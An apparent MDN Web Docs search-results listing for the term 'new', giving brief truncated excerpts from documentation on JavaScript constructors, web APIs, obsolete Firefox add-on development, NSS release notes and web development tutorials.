for example, our simple stream pump example goes on to enqueue each chunk in a new, custom readablestream (we will find more about this in the next section), then create a new response out of it, consume it as a blob, create an object url out of that blob using url.createobjecturl(), and then display it on screen in an <img> element, effectively creating a copy of the image we originally fetched.
... return new readablestream({ start(controller) { return pump(); function pump() { return reader.read().then(({ done, value }) => { // when no more data needs to be consumed, close the stream if (done) { controller.close(); return; } // enqueue the next data chunk into our target stream controller.enqueue(value); return pump(); }); } } }) }) .then(stream => new response(stream)) .then(response => response.blob()) .then(blob => url.createobjecturl(blob)) .then(url => console.log(image.src = url)) .catch(err => console.error(err)); let’s look in detail at how read() is used.
...if so, there are no more chunks to read (the value is undefined) so we return out of the function and close the custom stream with readablestreamdefaultcontroller.close(): if (done) { controller.close(); return; } note: close() is part of the new custom stream, not the original stream we are discussing here.
...And 6 more matches
WebGL model view projection - Web APIs
however, if a triangle straddles the border of this space then it is chopped up into new triangles, and only the parts of the new triangles that are in clip space are kept.
... var data = new float32array([ //triangle 1 settings.left, settings.bottom, settings.depth, settings.right, settings.bottom, settings.depth, settings.left, settings.top, settings.depth, //triangle 2 settings.left, settings.top, settings.depth, settings.right, settings.bottom, settings.depth, settings.right, settings.top, settings.depth ]); // use webgl to draw t...
... // performance note: creating a new array buffer for every draw call is slow.
...And 6 more matches
Synchronous and asynchronous requests - Web APIs
var xhr = new xmlhttprequest(); xhr.open("get", "/bar/foo.txt", true); xhr.onload = function (e) { if (xhr.readystate === 4) { if (xhr.status === 200) { console.log(xhr.responsetext); } else { console.error(xhr.statustext); } } }; xhr.onerror = function (e) { console.error(xhr.statustext); }; xhr.send(null); line 2 specifies true for its third parameter to indicate that the requ...
...*/) { var xhr = new xmlhttprequest(); xhr.callback = callback; xhr.arguments = array.prototype.slice.call(arguments, 2); xhr.onload = xhrsuccess; xhr.onerror = xhrerror; xhr.open("get", url, true); xhr.send(null); } usage: function showmessage(message) { console.log(message + this.responsetext); } loadfile("message.txt", showmessage, "new message!\n\n"); the signature of the utility...
...this is done by setting the value of the timeout property on the xmlhttprequest object, as shown in the code below: function loadfile(url, timeout, callback) { var args = array.prototype.slice.call(arguments, 3); var xhr = new xmlhttprequest(); xhr.ontimeout = function () { console.error("the request for " + url + " timed out."); }; xhr.onload = function() { if (xhr.readystate === 4) { if (xhr.status === 200) { callback.apply(xhr, args); } else { console.error(xhr.statustext); } } }; xhr.open("get", url, true...
...And 6 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
WebHTMLElementa
(default) _blank: usually a new tab, but users can configure browsers to open a new window instead.
... note: when using target, add rel="noreferrer noopener" to avoid exploitation of the window.opener api; note: in newer browser versions (e.g.
... linking to an email address to create links that open in the user's email program to let them send a new message, use the mailto: scheme: <a href="mailto:nowhere@mozilla.org">send email to nowhere</a> for details about mailto: urls, such as including a subject or body, see email links or rfc 6068.
...And 6 more matches
HTTP Index - HTTP
WebHTTPIndex
on top of these basic concepts, numerous extensions have appeared over the years, adding new functionality and new semantics by creating new http methods or headers.
...over the years, algorithms also got more efficient, and new ones are supported by clients and servers.
... 110 cookie2 http, obsolete, reference, header, request the obsolete cookie2 http request header used to advise the server that the user agent understands "new-style" cookies, but nowadays user agents will use the cookie header instead, not this one.
...And 6 more matches
Array.prototype.concat() - JavaScript
this method does not change the existing arrays, but instead returns a new array.
... syntax const new_array = old_array.concat([value1[, value2[, ...[, valuen]]]]) parameters valuen optional arrays and/or values to concatenate into a new array.
... return value a new array instance.
...And 6 more matches
BigInt64Array() constructor - JavaScript
the bigint64array() typed array constructor creates a new bigint64array object, which is, an array of 64-bit signed integers in the platform byte order.
... syntax new bigint64array(); new bigint64array(length); new bigint64array(typedarray); new bigint64array(object); new bigint64array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 6 more matches
BigUint64Array() constructor - JavaScript
the biguint64array() typed array constructor creates a new biguint64array object, which is, an array of 64-bit unsigned integers in the platform byte order.
... syntax new biguint64array(); new biguint64array(length); new biguint64array(typedarray); new biguint64array(object); new biguint64array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 6 more matches
Float32Array() constructor - JavaScript
the float32array() typed array constructor creates a new float32array object, which is, an array of 32-bit floating point numbers (corresponding to the c float data type) in the platform byte order.
... syntax new float32array(); // new in es2017 new float32array(length); new float32array(typedarray); new float32array(object); new float32array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 6 more matches
Float64Array() constructor - JavaScript
the float64array() typed array constructor creates a new float64array object, which is, an array of 64-bit floating point numbers (corresponding to the c double data type) in the platform byte order.
... syntax new float64array(); // new in es2017 new float64array(length); new float64array(typedarray); new float64array(object); new float64array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
...And 6 more matches
Intl.DateTimeFormat - JavaScript
constructor intl.datetimeformat() creates a new datetimeformat object.
... intl.datetimeformat.prototype.resolvedoptions() returns a new object with properties reflecting the locale and formatting options computed during initialization of the object.
... var date = new date(date.utc(2012, 11, 20, 3, 0, 0)); // tolocalestring without arguments depends on the implementation, // the default locale, and the default time zone console.log(new intl.datetimeformat().format(date)); // → "12/19/2012" if run with en-us locale (language) and time zone america/los_angeles (utc-0800) using locales this example shows some of the variations in localized date and time for...
...And 6 more matches
Object.setPrototypeOf() - JavaScript
instead, create a new object with the desired [[prototype]] using object.create().
... prototype the object's new prototype (an object or null).
...otherwise, this method changes the [[prototype]] of obj to the new value.
...And 6 more matches
RegExp - JavaScript
the following three expressions create the same regular expression: /ab+c/i new regexp(/ab+c/, 'i') // literal notation new regexp('ab+c', 'i') // constructor the literal notation results in compilation of the regular expression when the expression is evaluated.
... the constructor of the regular expression object—for example, new regexp('ab+c')—results in runtime compilation of the regular expression.
... flags in constructor starting with ecmascript 6, new regexp(/ab+c/, 'i') no longer throws a typeerror ("can't supply flags when constructing one regexp from another") when the first argument is a regexp and the second flags argument is present.
...And 6 more matches
Uint16Array() constructor - JavaScript
syntax new uint16array(); // new in es2017 new uint16array(length); new uint16array(typedarray); new uint16array(object); new uint16array(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros.
... typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a new typed array.
... each value in typedarray is converted to the corresponding type of the constructor before being copied into the new array.
...And 6 more matches
this - JavaScript
all non-static methods within the class are added to the prototype of this: class example { constructor() { const proto = object.getprototypeof(this); console.log(object.getownpropertynames(proto)); } first(){} second(){} static third(){} } new example(); // ['constructor', 'first', 'second'] note: static methods are not properties of this.
...calling super() creates a this binding within the constructor and essentially has the effect of evaluating the following line of code, where base is the inherited class: this = new base(); warning: referring to this before calling super() will throw an error.
... class base {} class good extends base {} class alsogood extends base { constructor() { return {a: 5}; } } class bad extends base { constructor() {} } new good(); new alsogood(); new bad(); // referenceerror examples this in function contexts // an object can be passed as the first argument to call or apply and this will be bound to it.
...And 6 more matches
panel - Archive of obsolete content
usage this module exports a single constructor function panel() which constructs a new panel.
... if you want to close an existing panel without opening a new one, you can call the hide() or the destroy() method.
...var textarea = document.getelementbyid("edit-box"); textarea.addeventlistener('keyup', function onkeyup(event) { if (event.keycode == 13) { // remove the newline.
...And 5 more matches
windows - Archive of obsolete content
enumerate and examine open browser windows, open new windows, and listen for window events.
...with this module, you can: enumerate the currently opened browser windows open new browser windows listen for common window events such as open and close private windows if your add-on has not opted into private browsing, then you won't see any private browser windows.
... globals functions open(options) open a new window.
...And 5 more matches
ui/sidebar - Archive of obsolete content
if a new window is opened from a window that has a sidebar visible, the new window gets a sidebar, too.
... alternatively, the view->sidebar submenu in firefox will contain a new item which the user can use to show or hide the sidebar: the sidebar generates a show event when it is shown and a hide event when it is hidden.
... using attach the attach event is triggered whenever the dom for a new sidebar instance is loaded and its scripts are attached.
...And 5 more matches
Storing annotations - Archive of obsolete content
in this chapter we will cover three topics relating to persistent storage: using simple-storage to persist objects handling exhaustion of the storage quota allocated to you respecting private browsing storing new annotations in this section we are only touching the main.js file.
... first, import the simple-storage module with a declaration like: var simplestorage = require('sdk/simple-storage'); in the module scope, initialize an array which will contain the stored annotations: if (!simplestorage.storage.annotations) simplestorage.storage.annotations = []; now we'll add a function to the module scope which deals with a new annotation.
... the annotation is composed of the text the user entered and the "annotation anchor", which consists of the url, element id and element content: function handlenewannotation(annotationtext, anchor) { var newannotation = new annotation(annotationtext, anchor); simplestorage.storage.annotations.push(newannotation); } this function calls a constructor for an annotation object, which we also need to supply: function annotation(annotationtext, anchor) { this.annotationtext = annotationtext; this.url = anchor[0]; this.ancestorid = anchor[1]; this.anchortext = anchor[2]; } now we need to link this code to the annotation editor, so that when the user presses the return key in the editor, we create and store the new annotation: var annotationeditor = panels.panel({ width: 220, hei...
...And 5 more matches
Install Manifests - Archive of obsolete content
accepted values are: 1 opens optionsurl in a dialog box 2 options are displayed inside the add-on manager 3 opens optionsurl in a new tab (if the application supports that), or a dialog box optionstype defaults to 1 if there is an optionsurl included in install.rdf or 2 if there is no optionsurl and the file options.xul exists in the root of the add-on.
... <em:optionstype>2</em:optionstype> options can be opened in a new tab since firefox 7.0a1.
... <em:optionstype>3</em:optionstype> <em:optionsurl>chrome://myaddon/content/options.html</em:optionsurl> this section here contains an example of localized html page as an option panel in a new tab: bootstrapped extensions :: localization (l10n) (example linked to is: github :: l10n-html-options).
...And 5 more matches
Migrating from Internal Linkage to Frozen Linkage - Archive of obsolete content
all these functions are now available via the new string api - appendutf16toutf8(srcstring, deststring); + deststring.append(ns_convertutf16toutf8(srcstring)); the signatures of the find methods differ between the two apis.
...the tonewcstring, tonewunicode methods only work on the appropriate string class.
...for errors about undeclared do_createinstance: #include "nscomponentmanagerutils.h" for errors about undeclared do_getservice: #include "nsservicemanagerutils.h" for errors about undeclared ns_getspecialdirectory: #include "nsdirectoryserviceutils.h" utility classes some utility classes could previously be created with ns_new* utility functions.
...And 5 more matches
Setting up an extension development environment - Archive of obsolete content
overview you'll create a new user profile to run your development specific firefox session.
... install firefox development extensions specifically for this new developer user profile.
... edit files in the extensions folder of this profile, and restart the application as this new developer profile.
...And 5 more matches
Creating a dynamic status bar extension - Archive of obsolete content
or, if you've already got the code from the creating a status bar extension sample, you can follow this tutorial to update that existing code with new features.
... download the sample update the install manifest replace all occurrences of the first sample's id, "status-bar-sample-1", with the new sample's id, "stockwatcher", and update the front end metadata to describe our new extension.
...update the chrome manifest the chrome manifest needs only a minor update from the previous sample; simply replace the id of the first sample, "status-bar-sample-1", with the name of the new sample, "stockwatcher".
...And 5 more matches
Modularization techniques - Archive of obsolete content
introduction the purpose of this document is provide all the information you need to create a new mozilla module or break existing code into a module.
...calling new foo() requires that at compile time you have access to the class declaration of foo().
... } return mrefcnt; } ns_imethodimp nssamplefactory::createinstance(nsisupports *aouter, const nsiid &aiid, void **aresult) { if (aresult == null) { return ns_error_null_pointer; } *aresult = null; nsisupports inst = new nssample(); if (inst == null) { return ns_error_out_of_memory; } nsresult res = inst->queryinterface(aiid, aresult); if (res != ns_ok) { // we didn't get the right interface, so clean up delete inst; } return res; } void nssamplefactory::lockfactory(prbool alock) { // not implemented in simplest case.
...And 5 more matches
XTech 2005 Presentations - Archive of obsolete content
web 1.6: a rope of sand - opening keynote, mike shaver mozilla e4x - brendan eich "ecmascript for xml" (ecma-357), a new standard for writing and processing xml directly in javascript (ecma-262, iso-16262).
...e4x also adds new javascript operators for filtering xml lists, and for enumerating xml children and descendants.
... another e4x feature: the ability to bind a w3c dom document to a new xml object, reflecting the dom in e4x terms so that updates to either the dom or the e4x object hierarchy show up in the other.
...And 5 more matches
A XUL Bestiary - Archive of obsolete content
in contrast to the mozilla jargon file, this article describes items of specific interest to the web or content developer looking to establish a context for understanding mozilla's new technologies -- and in particular mozilla's xml-based user interface language, xul.
...in the example above, the chrome is simply a skin file to be loaded into the xul file, but the chrome can also be used to load whole chromes, as when a <menuitem> in one window brings up a new chrome: <menuitem value="mozilla help" oncommand="window.opendialog('chrome://help/content/help.xul', '_blank', 'chrome,all,dialog=no')" /> in this example, the chrome url is being used to point to a chrome within the package hierarchy of the mozilla application.
...the navigator is a package defined in mozilla/bin/chrome/navigator, the mail/news component is a package in mozilla/bin/chrome/mailnews/, and so on.
...And 5 more matches
XBL Example - Archive of obsolete content
<method name="setpage"> <parameter name="newidx"/> <body> <![cdata[ var thedeck=document.getanonymousnodes(this)[0].childnodes[0]; var totalpages=this.childnodes.length; if (newidx<0) return 0; if (newidx>=totalpages) return totalpages; thedeck.setattribute("selectedindex",newidx); document.getanonymousnodes(this)[0].childnodes[1].childnodes[1] .setattribute("value",(newidx+1)+" of "+...
...totalpages); return newidx; ]]> </body> </method> this function is called setpage and takes one parameter newidx.
... if (newidx<0) return 0; if the new index is before the first page, don't change the page and return 0.
...And 5 more matches
Archived Mozilla and build documentation - Archive of obsolete content
developing new mozilla features tips for contributing new features to mozilla.
...in addition, you can augment or replace the download manager's user interface by implementing the new nsidownloadmanagerui interface.
...this enables users to visualize audio data, to process this audio data and to create new audio data.
...And 5 more matches
Gecko Compatibility Handbook - Archive of obsolete content
if you're new to standards, you may find using web standards in your web pages a helpful introduction.
... upgrade apis to use newer standards-conformant versions upgrade web authoring tool to versions that support the w3 standards and gecko browsers content differs in gecko browsers and internet explorer your css relies on bugs in internet explorer's implementation of css.
... <table border="1"> <tr> <form name="form2"> <td> <input type="text"> </td> </form> </tr> <table> this approach is commonly used to get around the fact that <form> is a block level element in html and will naturally begin on a new line in the page.
...And 5 more matches
ArrayBuffer.transfer() - Archive of obsolete content
the static arraybuffer.transfer() method returns a new arraybuffer whose contents have been taken from the oldbuffer's data and then is either truncated or zero-extended by newbytelength.
... if newbytelength is undefined, the bytelength of the oldbuffer is used.
... syntax arraybuffer.transfer(oldbuffer [, newbytelength]); parameters oldbuffer an arraybuffer object from which to transfer.
...And 5 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
importpackage( java.net ); // connect to the remote resource var u = new url( "http://www.mozilla.org/news.rdf" ); var c = u.openconnection(); c.connect(); // read in the raw data var s = new java.io.inputstreamreader( c.getinputstream() ); var b = new java.io.bufferedreader( s ); var l, str = ""; while( ( l = b.readline() ) != null ) { // skip if( l != "" ) { str = str + l + "\n"; } } // define the namespaces, first the default, // then additional namespaces de...
...fault xml namespace = "http://purl.org/rss/1.0/"; var dc = new namespace( "http://purl.org/dc/elements/1.1/" ); var rdf = new namespace( "http://www.w3.org/1999/02/22-rdf-syntax-ns#" ); // use e4x to process the feed var x = new xml( str ); for each( var i in x..item ) { print( "title: " + i.title + "\n" ); print( "about: " + i.@rdf::about + "\n" ); print( "link: " + i.link + "\n" ); print( "date: " + i.dc::date + "\n" ); } the first half of this script is standard java code used to retrieve the feed data.
... the act of creating an e4x object is quite simple, in the case of listing 3, we do this through the line var x = new xml( str ); from here, the xml is accessible via dot notation.
...And 5 more matches
Visual-js game engine - Game development
( + server engine tools + server part of web apps ) -3d part : webgl based on three.js engine -3d part : webgl2 based on glmatrix 2.0 -2d part (new): this is typescript based game engine (client part ts).
...new link is : https://github.com/zlatnaspirala/visual-ts-game-engine basic licence rules : 1) each file in this project has its own license , be careful , do not violate the basic rules.
... 1) click create application 2) enter new application name in input prompt 3) select folder for server part of application (important : www is not secure place) 4) select folder for client part of application ( any path in www) 5) new app name will appear in project list , select and click open application 6) open your server folder : install node.js modules one way - use windows bat-s file (in server root folder with prefix inst...
...And 5 more matches
HTML: A good basis for accessibility - Learn web development
these provide extra semantics for screen readers (and other tools) to give user extra clues about the content they are navigating (see screen reader support for new html5 section elements for an idea of what screen reader support is like).
...open this in a new tab, and try pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements.
... html5 includes two new elements — <figure> and <figcaption> — which are supposed to associate a figure of some kind (it could be anything, not necessarily an image) with a figure caption: <figure> <img src="dinosaur.png" alt="the mozilla tyrannosaurus"> <figcaption>a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</figcapti...
...And 5 more matches
HTML: A good basis for accessibility - Learn web development
these provide extra semantics for screen readers (and other tools) to give user extra clues about the content they are navigating (see screen reader support for new html5 section elements for an idea of what screen reader support is like).
...open this in a new tab, and try pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements.
... html5 includes two new elements — <figure> and <figcaption> — which are supposed to associate a figure of some kind (it could be anything, not necessarily an image) with a figure caption: <figure> <img src="dinosaur.png" alt="the mozilla tyrannosaurus"> <figcaption>a red tyrannosaurus rex: a two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</figcapti...
...And 5 more matches
How CSS works - Learn web development
in an earlier lesson i mentioned that browsers do not all implement new css at the same time.
...it will do this if you have made an error and misspelled a property or value, or if the property or value is just too new and the browser doesn't yet support it.
...it means that you can use new css as an enhancement, knowing that no error will occur if it is not understood — the browser will either get the new feature or not.
...And 5 more matches
How to build custom form controls - Learn web development
in our example, the missing specifications are obvious so we will handle them, but it can be a real problem for exotic new controls.
...creating new controls is not that easy, especially if you are creating something that has not been done before, and therefore which nobody has the slightest idea of what the expected behaviors and interactions are.
... designing new interactions is generally only an option for very large industry players who have enough reach that an interaction they create can become a standard.
...And 5 more matches
Introduction to web APIs - Learn web development
the most obvious example is the dom (document object model) api, which allows you to manipulate html and css — creating, removing and changing html, dynamically applying new styles to your page, etc.
... every time you see a popup window appear on a page or some new content displayed, for example, that's the dom in action.
...this seemingly small detail has had a huge impact on the performance and behaviour of sites — if you just need to update a stock listing or list of available new stories, doing it instantly without having to reload the whole entire page from the server can make the site or app feel much more responsive and "snappy".
...And 5 more matches
A first splash into JavaScript - Learn web development
> randomnumber) { loworhi.textcontent = 'last guess was too high!'; } } guesscount++; guessfield.value = ''; } guesssubmit.addeventlistener('click', checkguess); function setgameover() { guessfield.disabled = true; guesssubmit.disabled = true; resetbutton = document.createelement('button'); resetbutton.textcontent = 'start new game'; document.body.append(resetbutton); resetbutton.addeventlistener('click', resetgame); } function resetgame() { guesscount = 1; const resetparas = document.queryselectorall('.resultparas p'); for(let i = 0 ; i < resetparas.length ; i++) { resetparas[i].textcontent = ''; } resetbutton.parentnode.removechild(resetbutton); guessf...
...for example, if you want to simply add a new text string to an existing one and return the result, you could do this: name += ' says hello!'; this is equivalent to name = name + ' says hello!'; when we are running true/false tests (for example inside conditionals — see below) we use comparison operators.
...add this now, below the rest of your javascript: function setgameover() { guessfield.disabled = true; guesssubmit.disabled = true; resetbutton = document.createelement('button'); resetbutton.textcontent = 'start new game'; document.body.append(resetbutton); resetbutton.addeventlistener('click', resetgame); } the first two lines disable the form text input and button by setting their disabled properties to true.
...And 5 more matches
Adding features to our bouncing balls demo - Learn web development
previous overview: objects in this assessment, you are expected to use the bouncing balls demo from the previous article as a starting point, and add some new and interesting features to it.
... objective: to test comprehension of javascript objects and object-oriented constructs starting point to get this assessment started, make a local copy of index-finished.html, style.css, and main-finished.js from our last article in a new directory in your local computer.
... creating our new objects first of all, change your existing ball() constructor so that it becomes a shape() constructor and add a new ball() constructor: the shape() constructor should define the x, y, velx, and vely properties in the same way as the ball() constructor did originally, but not the color and size properties.
...And 5 more matches
Ember interactivity: Events, classes and state - Learn web development
previous overview: client-side javascript frameworks next at this point we'll start adding some interactivity to our app, providing the ability to add and display new todo items.
... add the new line shown below to your header.hbs file: <input class='new-todo' aria-label='what needs to be done?' placeholder='what needs to be done?' autofocus {{on 'keydown' this.onkeydown}} > this new attribute is inside double curly braces, which tells you it is part of ember's dynamic templating syntax.
... first add another import statement below the previous one, to make actions available inside the service: import { action } from '@ember/object'; update the existing export default class tododataservice extends service { … } block as follows: export default class tododataservice extends service { @tracked todos = []; @action add(text) { let newtodo = new todo(text); this.todos = [...this.todos, newtodo]; } } here, the todos property on the service will maintain our list of todos contained inside an array, and we'll mark it with @tracked, because when the value of todos is updated we want the ui to update as well.
...And 5 more matches
Accessibility in React - Learn web development
a user can add a new task, check and uncheck tasks, delete tasks, or edit task names.
... exploring the keyboard usability problem start by clicking on the input at the top of our app, as if you're going to add a new task.
... change the import statement at the top of todo.js so that it includes useref: import react, { useref, usestate } from "react"; then, create two new constants beneath the hooks in your todo() function.
...And 5 more matches
Starting our Svelte Todo list app - Learn web development
add new tasks.
... create a new folder — src/components.
...to get rid of this, remove the name prop from src/main.js; it should now look like so: import app from './app.svelte' const app = new app({ target: document.body }) export default app now if you check your testing server url you'll see our todos.svelte component being rendered: adding static markup for the moment we will start with a static markup representation of our app, so you can see what it will look like.
...And 5 more matches
Getting started with Vue - Learn web development
in this article we'll look at a little bit of vue background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example.
... to install the cli, run the following command in your terminal: npm install --global @vue/cli or if you'd prefer to use yarn: yarn global add @vue/cli once installed, to initialize a new project you can then open a terminal in the directory you want to create the project in, and run vue create <project-name>.
... initializing a new project to explore various features of vue, we will be building up a sample todo list app.
...And 5 more matches
Introducing a complete toolchain - Learn web development
once you've signed up for github (click the sign up link on the homepage if you don't already have an account, and follow the instructions), you can use your github account for authentication on netlify (click sign up, then choose github from the "sign up with one of the following" list), so technically you only need to create one new account.
...it offers a way to "commit" blocks of work as you progress, along with comments such as "x new feature implemented", or "bug z now fixed due to y changes".
... revision control can also allow you to branch out your project code, creating a separate version and try out new functionality on, without those changes affecting your original code.
...And 5 more matches
Package management basics - Learn web development
in addition, what happens if you find a better tool that you want to use instead of the current one, or a new version of your dependency is released that you want to update to?
... the package manager will provide a method to install new dependencies (also referred to as "packages"), manage where packages are stored on your file system, and offer capabilities for you to publish your own packages.
... setting up the app as an npm package first of all, create a new directory to store our experimental app in, somewhere sensible that you’ll find again.
...And 5 more matches
Eclipse CDT
to side-by-side edit the same file in two different tabs, select the tab of the file that you want to edit, then from the menu bar select "window > new editor".
...this is useful if you want to keep your existing search results open, for example, and have a new search open in a separate tab rather than overriding the contents of the existing search tab.
...click "new", then select "c/c++ application".
...And 5 more matches
Contributing to the Mozilla code base
the mozilla community prides itself on being an open, accessible, and friendly community for new participants.
...we're determined to solve hurdles for new contributors.
...browse this component on bugzilla for related bugs ask in our matrix channels : #introduction:mozilla.org or #developers:mozilla.org find a bug we've identified as a good fit for new contributors.
...And 5 more matches
Internationalized Domain Names (IDN) Support in Mozilla Browsers
introduction netscape 7.1 is the first commercial browser that has built-in support for internationalized domain name under the new ietf rfc's established in 2003.
...rfc's 3490, 3491, 3492.) these new rfc's now make it possible for domain name servers to register non-ascii domain names and application/client vendors to implement standardized support for handling non-ascii characters in domain names.
... with this last piece of obstacle for standardization out of the way, domain name registrars are expected to move forward on implementing the new rfc's for existing and future idn registrations quickly.
...And 5 more matches
Dict.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/dict.jsm"); creating a dictionary you can create a new, empty dictionary by simply calling the dict() constructor: var newdict = new dict(); if you wish, you may also pass in an object literal of key/value pairs with which to initialize the dictionary: var someobj = {}; var newdict = new dict({key1: "foo", key2: someobj}); note that values may be any javascript object type.
... in firefox 19 and above, you may also pass a json string to initialize the dictionary: var somejson = '{key1: "foo", key2: {}}'; var newdict = new dict(somejson); note: any string you pass will be assumed to be json.
... constructor dict() creates and returns a new dictionary object.
...And 5 more matches
Promise.jsm
its usage is not suggested for new code.
...the method returns a new promise that, in turn, is fulfilled or rejected depending on the state of the original promise and on the behavior of the callbacks.
... for example, unhandled exceptions in the callbacks cause the new promise to be rejected, even if the original promise is fulfilled.
...And 5 more matches
PromiseWorker.jsm
let worker = new promiseworker.abstractworker() worker.dispatch = function(method, args = []) { // dispatch a call to method `method` with args `args` return self[method](...args); }; worker.postmessage = function(...args) { // post a message to the main thread self.postmessage(...args); }; worker.close = function() { // close the worker self.close(); }; worker.log = function(...args) { // log (or ...
... main thread file the basepromiseworker object needs to be imported: const { utils: cu } = components; const { basepromiseworker } = cu.import('resource://gre/modules/promiseworker.jsm', {}); let myworker = new basepromiseworker('path_to_worker_file.js'); you're now ready to start using promiseworker.
...the above example can be rewritten like this: myworker.post('func', [new basepromiseworker.meta(buffer, {transfers: [buffer]})]); this is convenient if the function's arguments are generated by some other functions or passed from somewhere else.
...And 5 more matches
source-editor.jsm
sourceeditor.events.breakpoint_change "breakpointchange" fired when a new breakpoint is added, or when an existing breakpoint is removed.
... addeventlistener() adds a new event listener to the editor.
... return value the 0-based offset into the text at which newly-typed characters will be inserted.
...And 5 more matches
Localization content best practices
for example, suppose this string needs to be changed from "event" to "add new event": new-event-header = event add-new-event-header is definitely a better choice for the new string than new-event-header1.
... if a string is tied to an accesskey or a tooltip, use string ids that highlight this relation: neweventbtn.label = add event neweventbtn.accesskey = a neweventbtn.tooltip = add a new event don't duplicate ids if you're adding new strings, check that you're not duplicating an existing id.
...this would waste everybody's time and create unnecessary frustration: localizers have to translate strings that are destined to change, developers will need to use new ids later to update them.
...And 5 more matches
Localizing with Mercurial
a new shell window should appear.
... type hg --version in the new shell window.
... your config file should have the following settings: [ui] username = your real name <user@example.com> merge = internal:merge [defaults] commit = -v [diff] git = 1 showfunc = 1 unified = 8 to configure hg, follow these steps: create a new file in your favorite text editor.
...And 5 more matches
NSS 3.12.6 release notes
nss 3.12.6 release notes 2010-03-03 newsgroup: mozilla.dev.tech.crypto introduction network security services (nss) 3.12.6 is a patch release for nss 3.12.
... new in nss 3.12.6 ssl3 & tls renegotiation indication extension (rfc 5746) by default, nss 3.12.6 uses the new tls renegotiation indication extension for tls renegotiation but allows simple ssl/tls connections (without renegotiation) with peers that don't support the tls renegotiation indication extension.
... these options can also be set with the following ssl options: ssloptions.enablerenegotiation ssloptions.requiresafenegotiation new pseudo cipher suite value: tls_empty_renegotiation_info_scsv (cannot be negotiated) tls server name indication for servers tls server name indication (sni) for servers is almost fully implemented in nss 3.12.6.
...And 5 more matches
NSS 3.15.1 release notes
distribution information nss 3.15.1 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_1_rtm/src/ new in nss 3.15.1 new functionality tls 1.2: tls 1.2 (rfc 5246) is supported.
... new functions none.
... new types in sslprot.h ssl_library_version_tls_1_2 - the protocol version of tls 1.2 on the wire, value 0x0303.
...And 5 more matches
NSS 3.16.2 release notes
nss 3.16.2 requires nspr 4.10.6 or newer.
... nss 3.16.2 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_16_2_rtm/src/ new in nss 3.16.2 new functionality dtls 1.2 is supported.
...use the new pk11_privdecrypt and pk11_pubencrypt functions with the ckm_rsa_pkcs_oaep mechanism.
...And 5 more matches
NSS 3.20 release notes
nss 3.20 requires nspr 4.10.8 or newer.
... nss 3.20 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_20_rtm/src/ new in nss 3.20 new functionality the tls library has been extended to support dhe ciphersuites in server applications.
... new functions in ssl.h ssl_dhegroupprefset - configure the set of allowed/enabled dhe group parameters that can be used by nss for a server socket.
...And 5 more matches
NSS tools : signtool
-g nickname generates a new private-public key pair and corresponding object-signing certificate with the given nickname.
... the newly generated keys and certificate are installed into the key and certificate databases in the directory specified by the -d option.
...since the = sign and newline delimit the value, it should not be quoted.
...And 5 more matches
Creating JavaScript tests
in which test suite does your new test belong?
...(in fact, the test262 test suite is run as part of jstests.) practical differences between the two test suites: jstest new jstest files should be put the code in the appropriate subdirectory of js/src/tests/non262/, or, under some scenarios, contributed directly to the test262 repository.
... jit-test new jit-test files should be put in js/src/jit-test/tests/basic or one of the other appropriate subdirectories of jit-test/tests.
...And 5 more matches
Introduction to the JavaScript shell
you can use it as an interactive shell, in which you type javascript code at a prompt and get instant gratification, which is handy for experimenting or testing new features.
...if scope isn't specified, the new object's parent is the same as the original object's.
... otherwise, the new object is placed in the scope of the object specified by scope.
...And 5 more matches
JS::CloneFunctionObject
this article covers features introduced in spidermonkey 38 create a new function object from an existing jsfunction.
... scopechain js::autoobjectvector the new function's scope chain.
... description js::clonefunctionobject creates a new function object from funobj.
...And 5 more matches
JS_GetParent
an object created by a script via the new keyword has the same parent as the constructor.
... for example, after d = new date, d has the same parent as date, ordinarily the global object.
...in any case the global object is guaranteed appear on the new function's parent chain.
...And 5 more matches
Embedded Dialog API
these new windows can be entire new browser windows opened in response to web page script, or dialogs or alerts which may arise from script or merely during normal operation of the browser.
... part of gecko's embedding api is callbacks into the embedding application for creating new windows.
...its simplest requirements are that the app must allow gecko to create new browser windows and new simple, empty windows.
...And 5 more matches
Accessing the Windows Registry Using XPCOM
support in firefox 1.5 or newer in firefox 1.5, a new api was added, nsiwindowsregkey, which provides extensive registry functionality.
...if you are writing an extension that only needs to support firefox 1.5 or newer, then you only need to read this section.
...if you want to create a new key, you can use the create() method, which takes the same parameters as open().
...And 5 more matches
nsIMsgDBHdr
